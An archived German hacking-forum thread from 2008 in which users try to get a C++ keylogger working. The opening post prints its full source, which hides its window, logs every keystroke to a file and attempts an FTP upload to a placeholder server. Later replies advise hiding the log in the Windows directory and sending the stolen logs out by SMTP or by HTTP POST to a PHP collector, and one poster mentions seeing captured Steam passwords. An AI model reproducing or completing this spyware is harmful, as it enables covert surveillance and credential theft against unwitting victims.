PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : C++ Keylogger (upload)



Crossfire
22.09.2008, 13:53
Hallo,


Ich versuche derzeit einen Keylogger in C++ zu programmieren.
Der keylogger soll eine Textdatei per ftp uploaden allerdings klappt das bei mir irgendwie nie^^


ich hab im Board diesen Quellcode gefunden der aber bei mir nicht funktioniert. Ich benutze Dev C++.


#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
using namespace std;
//Testet ob ein Key abgefragt wurde
string GetKey(int Key)
{
string KeyString = "";
if (Key == 8)
KeyString = "[del]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TAB]";
else if (Key == VK_CONTROL)
KeyString = "[STRG]";
else if (Key == VK_ESCAPE)
KeyString = "[ESC]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[LINKS]";
else if (Key == VK_RIGHT)
KeyString = "[RECHTS]";
else if (Key == VK_UP)
KeyString = "[HOCH]";
else if (Key == VK_DOWN)
KeyString = "[RUNTER]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
//Char klein machen
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}

return KeyString;
}

int main()
{
//Fenster verstecken
SetConsoleTitle(TEXT("abcdefghij"));
HWND muh = FindWindow(0,TEXT("abcdefghij"));
ShowWindow(muh,SW_HIDE);
//End
string Filename = "log.txt";
string Temp = "";
fstream log;
log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
int keyvalue = 0; //Anzahl der eingegeben Keys
while(true)
{

Sleep(5);

for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
Temp = GetKey (i);

log.write(Temp.c_str(), Temp.size());
log.close();
log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}

}
if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden
{
//Sende log zum ftp server
system("ftp.exe");//Öffne FTP.exe
system("open SERVERNAME");//Servername
system("ftpusername");
system("ftppasswort");
system("cd html"); //Verzeichniss
system("send"); //Senden
system("log.txt");// Log.txt wird hochgeladen

}
}
}

mo0wm
22.09.2008, 15:15
Also erstmal ist es kein Programmieren, wenn du nur Codes kopierst.



Der keylogger soll eine Textdatei per ftp uploaden allerdings klappt das bei mir irgendwie nie^^

Was genau klappt nicht?



ich hab im Board diesen Quellcode gefunden der aber bei mir nicht funktioniert. Ich benutze Dev C++.
Und was klappt hier nicht?!

Ne also du solltest deine Probleme schon etwas beschreiben...

Crossfire
22.09.2008, 16:25
Zunächst kennt er #include "stdafx.h" nicht.

Wenn ich dies ausschneide und dann starte speichert er alle tastendrücke in log.txt ab.
So wie ich den Code verstanden habe sollte er nach 1000 eingaben log.txt an den ftp Server senden und genau das tut er bei mir nicht.

Oder mach ich was falsch ?

mo0wm
22.09.2008, 16:31
Jetzt denk doch mal nach und schau dir an wo "keyvalue" verändert wird....-.-

Crossfire
22.09.2008, 16:43
meinste


int keyvalue = 0; //Anzahl der eingegeben Keys

?
wenn ich das auf 1 setze passiert auch nix...

Aber ich merk ich muss noch VIEL lernen ^^

the|who
22.09.2008, 16:54
Hi,
@Crossfire du musst den Code im Visual Studio öffnen ;) denn #include "stdafx.h gehört zu Visual Studio!

mo0wm
22.09.2008, 16:55
Steht da irgendwo im Code was von " keyvalue ++" ?!
Der Zähler "zählt" doch überhaupt nicht!
Bei der FTP-Übertragung hast du keine Daten eingegeben-.-
Außerdem ist system () dafür sowieso ungeeignet.
Und lern verdammt nochmal C++, bevor du Malware erstellst!


Hi,
@Crossfire du musst den Code im Visual Studio öffnen ;) denn #include "stdafx.h gehört zu Visual Studio!
Ja und das musst du natürlich auch machen^^

Crossfire
22.09.2008, 17:02
Ich hab ganz bewust keine Daten eingegeben -.-

Zudem hatte ich auch nie vor es über system() zu senden aber ich finde keine funktionierenden c++ codes dafür und da diese sowieso in diesem code dabei waren...

außerdem lern ich es doch grad !?

mo0wm
22.09.2008, 17:11
Du solltest keine Keylogger programmieren/kopieren , wenn du nicht weißt wie sie funktionieren.
Lern Variablen, Schleifen, Bedingungen, Funktionen, Klassen und Zeiger. Danach kannst du vielleicht mal böse Programme erstellen.
Ansonsten hab ich die Frage ja beantwortet

DeCeN
10.11.2008, 17:09
hi,
@all
also wenn ich die library Datei "stdafx.h" weglasse, kann ich es kompilieren mit Dev C++ aber irgendwie schickt es die nich an der FTP. Also im Prinzip muss ich doch bei den system() befehlen die bestehenden durch die login daten ersetzten. liegt es an der fehlenden, also an dev c++? wenn ja gibts ne möglichkeit die librarydatei zu ersetzten durch eine standartisierte die auf allen compilern läuft.
@crossfire: versuch mal in zeile 99 den code zu ändern

int keyvalue = 0; //Anzahl der eingegeben Keys

?
wenn ich das auf 1 setze passiert auch nix...

if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden[quote]

steht ja eig. im kommentar!

danke
PS: uüs sry.hab grad gesehn dass es schon ne weile her is!

Fragnatic214
26.11.2008, 16:10
hey ich hätt da ne frage...
hab grade erst angefangen c++ zu coden...also ich kann grundsachen.
hatt im mom aber nix zur sache beizutragen.
ich such nähmlich shcon länger nach nem guten keylogger aber ich fand noch kein geshceiten.
das is en geshceiter aber ich weiss nciht wie ich das teil umschreibe das antstatt die txt auf n ftp lädt einfach als txt auf dem rechner speichert in %windir% oda so wo amn ebn selten hinschaut...
txt datei fällt j aeig auch nich auf.
kann mir da jemand weiterhelfen?

greetZ

Sector
26.11.2008, 16:45
Wenn du den Pfad zu dem Windows Verzeichnis herausfinden willst, dann benutze die WinAPI: GetWindowsDirectory
http://msdn.microsoft.com/en-us/library/ms724454(VS.85).aspx

Ansonsten sollten dir die WinAPIs CreateFileA und WriteFileA weiterhelfen ...

Fragnatic214
27.11.2008, 14:46
aber wie wend ich das an?
muss es dann heißen
getWindowsdirectory;
createfileA; <-so richtig??

oder leig ich da dann weit daneben?
kannst du mir das nciht noch n bissl genauer beschreiben?

mo0wm
27.11.2008, 15:47
Also Funktionen gehören eigentlich zu den Grundlagen...
Und GetWindowsDirectory, CreatefileA usw. sind Funktionen.
Das heißt da müssen Klammern ran
Lern lieber erstmal C++ bevor du dich an die WinApi ranmachst.

Fragnatic214
27.11.2008, 15:52
danke, das hatt mir jetzt auch sehr viel gebracht...
Ich bin gerade am lernen udn ahb ebn nur son gammel tut weill cih das buch das ich mir bestellt ahb noch nciht gekommen ist.
Also aknnst du mri nciht einfachsagen was ich amchen muss? wäre dir sehr verbunden

kat23
27.11.2008, 15:56
aber wie wend ich das an?
muss es dann heißen
getWindowsdirectory;
createfileA; <-so richtig??

oder leig ich da dann weit daneben?
kannst du mir das nciht noch n bissl genauer beschreiben?

Was für ein Unfug... Du solltest mit einfachen Programmen wie z.B. einem Taschenrechner anfangen, bevor du dich an komplexere Dinge wie einen Keylogger machst. Dann kannst du dir auch mal die WinAPI Funktionen anschauen. Tutorial? Hier: http://ittk.falb.at/pt/unterlagen/C-in-21-Tagen.pdf

GregorSamsa
27.11.2008, 16:06
Das bringt nichts. Du brauchst noch viel mehr Grundlagen, um sowas coden zu können. Also, in 6-12 Monaten sollte das ohne probleme funktionieren ;-)

@Crossfire: Vergiss SYSTEM()... Entweder du machst das mit fsockopen und dann ist es aber einfacher, das per Mail über SMTP zu senden.

Fragnatic214
27.11.2008, 18:32
hmm danke für das tut..
ja ich weiss ads ichs noch ncih aknn und das ichs erst lerne muss..
aber ich brauch das ganzs chnell..is sehr sehr wichtig ..
is zwar ne kiddy aktion weill ich ncih versteh was ich da amch aber ich bracuh das wirklich.
kann mir nciht jemand helfen bitte

kat23
28.11.2008, 04:27
is zwar ne kiddy aktion weill ich ncih versteh was ich da amch aber ich bracuh das wirklich.

Dann lass es. Hitler hat auch nicht verstanden, was er da gemacht hat, und nun schau wozu es geführt hat. ;)

AlterHacker
28.11.2008, 08:26
Das bringt nichts. Du brauchst noch viel mehr Grundlagen, um sowas coden zu können. Also, in 6-12 Monaten sollte das ohne probleme funktionieren ;-)

@Crossfire: Vergiss SYSTEM()... Entweder du machst das mit fsockopen und dann ist es aber einfacher, das per Mail über SMTP zu senden.
Jap

Ich würds aber in etwa so machen. Auf nem Server ist die log.php. Die speichert alle ankommenden POST-Daten.

Dein Client hat einen kleinen HTTP-Request.

POST ....

log=aGOUHEgnlNgljnrlNLJrlkh usw xD

& Das PHP-Script speichert den Rest.

Sicherer WEIL:

Niemand anders kommt an die Log(Wenn der dateiname nicht grade log.txt heiß wie ich das schonmal mitbekommen habe(hab 20 steams mit pwd gesehen xD))

Niemand kann mit der URL was anfangen :)